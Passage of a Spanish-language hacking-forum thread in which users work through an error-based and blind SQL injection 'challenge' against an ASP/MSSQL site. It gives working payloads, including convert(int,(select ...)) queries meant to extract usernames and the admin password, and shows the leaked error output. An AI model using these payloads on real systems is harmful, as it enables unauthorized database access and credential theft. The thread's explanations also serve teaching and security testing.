elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
28 Mayo 2012, 05:57  


Tema destacado: Únete al Grupo Steam elhacker.NET

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits
| | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | |-+  [SQL INJECTION] ¿Me ayudas en un reto? (Abierto)
0 Usuarios y 2 Visitantes están viendo este tema.
Páginas: 1 [2] Ir Abajo Respuesta Imprimir
Autor Tema: [SQL INJECTION] ¿Me ayudas en un reto? (Abierto)  (Leído 4,773 veces)
ZaPa

Desconectado Desconectado

Mensajes: 36


Ver Perfil
Re: [SQL INJECTION] (TRANSACT-SQL) ¿Me ayudas en un reto? (Abierto)
« Respuesta #15 en: 18 Marzo 2010, 00:56 »

Hola...

Conseguí ejecutar la sentencia 'SELECT @@version' y ver información del sistema...

Pero he tenido que hacer una cosa, y no entiendo el PORQUE funciona, aver si me lo podeis explicar:

La inyección ha sido la siguiente:

Código:
AND (SELECT @@version)<=1 --

Y como se puede observar, despues de la inyección, he tenido que añadir el menor o igual que 1 (<=1) y asi si funciona, y se ejecuta la sentencia devolviendo lo siguiente:

Código:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Error de sintaxis al convertir el valor nvarchar 'Microsoft SQL Server 2000 - 8.00.2055 (Intel X86) Dec 16 2008 19:46:53 Copyright (c) 1988-2003 Microsoft Corporation Desktop Engine on Windows NT 5.2 (Build 3790: Service Pack 2) ' para una columna de tipo de datos int.


Por lo que se ve, funcionaaa...

Ahora no entiendo 2 cosas, aver si me podeis explicar....

1 - ¿Porque sin parantesis la sentencia no funciona?
2 - ¿Porque tengo que añadir esa comparación númerica?

¿Alguien me puede aclarar estos 2 puntos, se lo agradeceria muchisimo.

Un saludo.
« Última modificación: 18 Marzo 2010, 13:00 por ZaPa » En línea
Shell Root


Desconectado Desconectado

Mensajes: 2.456


Alex Jurado


Ver Perfil WWW
Re: [SQL INJECTION] ¿Me ayudas en un reto? (Abierto)
« Respuesta #16 en: 18 Marzo 2010, 02:21 »

xD, creo que no entendiste lo que te dijé.

Nunca dijé que con esa sentencia podrias listar todas las tablas de esa base de datos, solo dije que si te servia de algo, asi se podria listar las tablas de una base de datos en MSSQL. Es decir, dentro del IDE! No dentro de la inyección. Además, no creo que sea así de simple al ejecutar una sentencia SQL y se ejecute en el servidor, más bien, creo que debes de investigar en que consiste la Blind SQL y entenderas un poco lo que podrias hacer.

Y repito lo mismo espera que algun usuario de alto nivel (WHK, sirdarckcat, entre otros), respondan mejor la pregunta.
En línea

---
ZaPa

Desconectado Desconectado

Mensajes: 36


Ver Perfil
Re: [SQL INJECTION] ¿Me ayudas en un reto? (Abierto)
« Respuesta #17 en: 18 Marzo 2010, 03:10 »

Hola de nuevo y gracias por responder otra vez man.

Traigo novedades frescas a la mesa jeje....

Con la función convert() he podido obtener algunos datos de los productos que ahi en la db, por ejemplo haciendo:

Código:
variable=convert(int,(select+productos.referencia))

Me responde una referencia del 1º articulo de la base de datos, respuesta:

Código:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Error de sintaxis al convertir el valor nvarchar 'A35678956' para una columna de tipo de datos int.

/cgi-bin/datos.asp, línea 25

Como podeis ver, me ha devuelto la referencia: 'A35678956'..

He estado probando combinaciones con nombre de tablas (donde pudiera estar los datos de administrador). He probado un monton de nombres de tablas para ver si encontraba esa info, pero ninguna concuerda ccon la tabla donde se almacenan los datos valiosos..

Sigo esperando a que alguien me diga si puedo listar todas las tablas de la base de datos, o algo similar.

Muchisimas gracias.
Saludos.
En línea
ZaPa

Desconectado Desconectado

Mensajes: 36


Ver Perfil
Re: [SQL INJECTION] ¿Me ayudas en un reto? (Abierto)
« Respuesta #18 en: 18 Marzo 2010, 12:22 »

Hola de nuevo a todos.

Ya he conseguido saber las tablas que ahi en la base de datos y demas, incluso estoy accediendo a los valores de cada columna, pero....... realmente no entiendo esto, os explico:

Anteriormente con injecciones simples del tipo ("Select * from TABLA) y demás, me daba error de sintáxis, buscando,buscando, me he dado cuenta que para las páginas asp utilizan la función convert() para obtenre datos de la base de datos......

Por ej:

Código:

 http://www.paginaweb.com/datos.asp?variable=and 1=convert(int,(select top 1 Usuario from usuarios))--

Con esto conseguiriamos mostrar el 1º campo de la tabla usuarios y columna usuario.


¿Porque esto funciona asi, es decir, porque tengo que utilizar convert() y lo que es la sintáxis de las llamadas sql tampoco son igual que las de php, es asi para MSSQL SERVER?

Un saludo.
En línea
Shell Root


Desconectado Desconectado

Mensajes: 2.456


Alex Jurado


Ver Perfil WWW
Re: [SQL INJECTION] ¿Me ayudas en un reto? (Abierto)
« Respuesta #19 en: 18 Marzo 2010, 18:03 »

Lo de convert(), supongo que es para setear el tipo de datos devuelvo por el query. Ahora lo segundo que preguntas no lo entendí bien, pero supongo que preguntas, porque no te funciono la sentencia:
Código
SELECT * FROM Usuarios
Tuviste que usar el query:
Código
SELECT TOP 1 Usuario FROM usuarios
Así como en la Inyección en MySQL, sebes de sacar dato por dato, es decir, campo por campo, registro por registro. Tambien debe de ser igual en MSSQL, no podeis mostrar todos los datos inmediatamente, tenes que irlo sacando por partes.
En línea

---
WHK
吴阿卡
Moderador
***
Desconectado Desconectado

Mensajes: 4.113


The Hacktivism is not a crime


Ver Perfil WWW
Re: [SQL INJECTION] ¿Me ayudas en un reto? (Abierto)
« Respuesta #20 en: 19 Marzo 2010, 20:26 »

Hola, la diferencia de una inyección MySQL y MSSQL es que en MSSQL la mayoría de las veces si no tienes la forma de devolver datos puedes forzar errores y que te debuelvan cosas que tu quieras.

En MySQL no puedes por ejemplo hacer dos select, digamos que la query "select * from test where id = $_GET[id]", en ese caso id no puede transformarse en otra query como lo hace mssql "where id = (select id from x limit 1)".

Ahora, como en mssql podemos encerrar nuevas querys una dentro de otra forzamos a que nos mande error y eso lo podemos lograr con la función "convert()" y hay muchas mas, ahora decimos que convert deve aceptar solo numeros integers:
Código:
CONVERT(int, test)

Con eso decimos que test debe ser obligadamente integer, pero que pasa si le entregamos un valor que no sea un número?
Código:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Error de sintaxis al convertir el
valor nvarchar 'A35678956' para una columna de tipo de datos int.

/cgi-bin/datos.asp, línea 25

Entonces donde está la inyección le enviamos el convert y hacemos la query de la columna que queremos sacar.

Digamos que atraves de errores ya sacaste las tablas, puedes ir intentando con havving como explicaron mas arriba y con eso ya obtienes las tablas y columnas y puedes comenzar a hacer querys a cada valor que te pueda interesar.
Por ejemplo
Código:
test.asp?id=convert(int, (select password from usuarios where nick = 'admin')) --

Se entiende correctamente, pero lo dudo bastante, dentro de MySQL seh se puede hacer. Pero dentro de este tipo de inyeccion se trabaja bajo MSSQL, si te sirve de algo, esta consulta lista todas las tablas de una base de datos.
Código
USE Base_de_Datos SELECT * FROM Information_Schema.TABLES

schema no existe en mssql.
Saludos.
« Última modificación: 19 Marzo 2010, 20:28 por WHK » En línea

Mi foro Ultra Off-Topics: http://whk.drawcoders.com/foro/

Gracias a todos! Good bye!
tragantras


Desconectado Desconectado

Mensajes: 466


Ver Perfil
Re: [SQL INJECTION] (TRANSACT-SQL) ¿Me ayudas en un reto? (Abierto)
« Respuesta #21 en: 20 Marzo 2010, 14:56 »


Código:
AND (SELECT @@version)<=1 --

Ahora no entiendo 2 cosas, aver si me podeis explicar....

1 - ¿Porque sin parantesis la sentencia no funciona?
2 - ¿Porque tengo que añadir esa comparación númerica?

¿Alguien me puede aclarar estos 2 puntos, se lo agradeceria muchisimo.

Un saludo.

1.- No funciona porque lo que estás comparando es el resultado entero del SELECT. El select te devuelve la versión y es ESO lo que comparas con el <=1. Si no pones el paréntesis te compara "version" que... "no es nah" xD

2.- La query que manda el .asp al motor de la base de datos es esto:

Código
SELECT * FROM tabla WHERE campo = $_GET['variable']

tu inyectas en la la parte de "where campo = ", de manera que se queda, con la inyección ya puesta:

Código
SELECT * FROM tabla WHERE campo = 37361 AND (SELECT @@version)<=1 --

el and es un operador booleano, la operacion <=1 te devolverá TRUE or FALSE, lo que necsita el operador AND, vamos xD Esta técnica es el principal motor para explotar una BSQLi

En línea

Colaboraciones:
1 2
Páginas: 1 [2] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[RETO ABIERTO] Cambio de base ~
Java
Dnk! 5 1,822 Último mensaje 2 Diciembre 2010, 20:28
por Dnk!
[RETO] Sql injection
Nivel Web
cur3n79 3 1,783 Último mensaje 12 Febrero 2011, 14:24
por xassiz~
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines